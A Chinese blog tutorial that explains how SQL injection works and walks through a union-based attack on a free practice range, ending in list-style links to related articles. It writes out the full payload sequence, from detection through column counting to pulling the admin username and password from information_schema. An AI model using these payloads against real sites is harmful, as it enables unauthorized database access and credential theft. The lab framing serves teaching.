sql注入是指web应用程序对用户输入数据的合法性没有判断,导致攻击者可以构造不同的sql语句来实现对数据库的操作。

  sql注入漏洞产生满足条件:

    1;用户能够控制数据的输入。

    2;原本需要执行的代码,拼接了用户的输入。

  举例:

  注意:下面测试环境使用封神台免费靶场。可以从下面链接进入:https://hack.zkaq.org/?a=battle

  攻击流程:

    1;判断是否存在sql注入漏洞。

    2;判断网页存在字段数。

    3;判断回显点。

    4;获取信息。

  测试开始:

    测试目标获取管理员账号密码

    一;判断是否存在sql注入漏洞。

      1.1;构建sql语句:?id=1 and 1=2 查看页面是否正常。结果页面显示不正常。

      注释:因为id=1为真(可正常访问页面),且1=2为假,所以and条件永远不会成立。对于web应用不会返回结果给用户。则攻击者能看到的是一个错误的界面或者页面结果为空。当然,如果攻击者构造的请求异常,也会导致页面访问不正常。

      1.2;构建新的sql语句,确定是否存在语句逻辑错误导致页面不正常。?id=1 and 1=1 结果页面正常,初步判断存在sql漏洞。

      注释:1=1 为真,and条件语句成立。

    二;判断字段数:

      2.1;构建sql语句:?id=1 and 1=1 order by 1 判断网页是否正常。?id=1 and 1=1 order by 2 判断网页是否正常。?id=1 and 1=1 order by 3 判断网页是否正常。结果:?id=1 and 1=1 order by 3 网页显示不正常,可以判断字段数为2

      注释:order by 语句用来根据指定的列对结果集进行排序。详细请参考网址:http://www.w3school.com.cn/sql/sql_orderby.asp “order by 1”表示对第一栏位进行排序,

    三;判断回显点:构建sql语句:?id=1 and 1=2 union select 1,2 (之后的查询结果将显示在下图红框位置)

      注释:union 操作符用于合并两个或多个select语句的结果集,union内部的select语句必须拥有相同数量的列。详细参考:http://www.w3school.com.cn/sql/sql_union.asp

    四; 获取信息

      4.1;查看当前数据库名以及数据库版本。构建sql语句:?id=1 and 1=2 union select 1,database();?id=1 and 1=2 unio select 1, version()

      注释:union select 1 ,database(),其中数字1占一列,凑数,用来满足union定义。database():表示网站使用的数据库,version():表示当前mysql的版本,usr():当前mysql的用户。

      4.2;查询当前数据库以及表名称。构建sql语句:?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

      注释:information_schema数据库用于存储数据库元数据,例如:数据库名,表名,列的数据类型,访问权限等。tables用来存储数据库中的表的信息,包括表属于哪个数据库,表的类型,存储引擎,创建时间等。table_schema和table_schema是表tables中的数据库库名和表名。limit 0,1 表示第一行显示一行数据。limit 1,1表示第二行显示一行数据。

      4.3;查询表admin中的字段名。查询三个字段:ID username  password

      构建SQL语句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

      构建SQL语句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1

      构建SQL语句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1

      注释:columns表存储表中的列的信息。其中包含数据库库名table_schema,表名table_name ,字段名column_name。

      4.4;查询用户名称:?id=1 and 1=2 union select 1,username from admin

      4.5;查询密码:?id=1 and 1=2 union select 1,password from admin

SQL注入原理解析以及举例1的更多相关文章

  1. 回头探索JDBC及PreparedStatement防SQL注入原理

    概述 JDBC在我们学习J2EE的时候已经接触到了,但是仅是照搬步骤书写,其中的PreparedStatement防sql注入原理也是一知半解,然后就想回头查资料及敲测试代码探索一下.再有就是我们在项 ...

  2. SQL注入原理与解决方法代码示例

    一.什么是sql注入? 1.什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网 ...

  3. Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解

    前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...

  4. 网络对抗课题4.3.1 SQL注入原理与实践

    网络对抗课题4.3.1 SQL注入原理与实践 原理 SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞.也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符 ...

  5. sql注入原理详解(一)

    我们围绕以下几个方面来看这个问题: 1.什么是sql注入? 2.为什么要sql注入? 3.怎样sql注入? 1.什么是sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  6. 1.sql注入原理

    一.什么是sql注入呢?         所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露V ...

  7. sql注入原理及解决方案

    sql注入原理 sql注入原理就是用户输入动态的构造了意外sql语句,造成了意外结果,是攻击者有机可乘 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的 ...

  8. 讲sql注入原理的 这篇不错(有空可以看看)

    我们围绕以下几个方面来看这个问题: 1.什么是sql注入? 2.为什么要sql注入? 3.怎样sql注入? 1.什么是sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  9. sql注入原理,利用与防护

    一.sql注入原理 注入攻击的本质就是把用户输入的数据当作代码来执行.所以注入攻击有两个必要条件 1.用户能够控制的输入. 2.原本程序要执行的代码,拼接了用户输入的数据. 二.sql注入分类 按照请 ...

随机推荐

  1. classNum 表示学生的班号,例如“class05”。 有如下List  List list = new ArrayList();

    package a927; import java.util.ArrayList; import java.util.List; class Student { private String name ...

  2. C#快速获取指定网页源码的几种方式,并通过字符串截取函数 或 正则 取指定内容(IP)

    //只获取网页源码开始到标题位目的进行测试 //第一种方式经过测试,稍微快点 string url = "http://www.ip.cn"; HttpWebRequest req ...

  3. C#使用OracleDataReader返回DataTable

    string data = string.Empty; DataTable OutDataTable = new DataTable(); OracleDataReader daReader = cm ...

  4. TestNg学习一

    简介 TestNG是Java中的一个测试框架, 类似于JUnit 和NUnit,   功能都差不多, 只是功能更加强大,使用也更方便 Java中已经有一个JUnit的测试框架了.  TestNG比JU ...

  5. Xilinx 7系列FPGA部分重配置【2】

    在之前的“Xilinx 7系列FPGA部分重配置[1]”中已经较为详细地记录了分别在工程模式(Project Mode)和非工程模式(Non-Project Mode)下.使用7系列的Xilinx F ...

  6. 504 Gateway Timeout 异常

    生产销售系统出现 504 Gateway Timeout 异常,其实就是服务器响应太慢导致nginx带来超时,先不说服务端慢的优化问题:只是单纯的解决504.到网上发现了一篇文章fix it Add ...

  7. Got permission denied while trying to connect to the Docker daemon socket at unix

    拉取Dockerimages时错误信息如下: [master@localhost ~]$ docker pull redis Using default tag: latest Got permiss ...

  8. PAT_A1149#Dangerous Goods Packaging

    Source: PAT A1149 Dangerous Goods Packaging (25 分) Description: When shipping goods with containers, ...

  9. loadrunner安装方法

    1.loadrunner安装网盘地址:  http://pan.baidu.com/s/1hrP6mDQ 一般会提示:“vc2005_sp1_with_atl_fix_redist 2.确认时提示缺少 ...

  10. void 0 与 undefined

    偶然看到一个问题:为什么有的编程规范要求用 void 0 代替 undefined? 如果不知道这个答案的小伙伴,第一反应就要问void 0是什么鬼? void 0 void是JavaScript的一 ...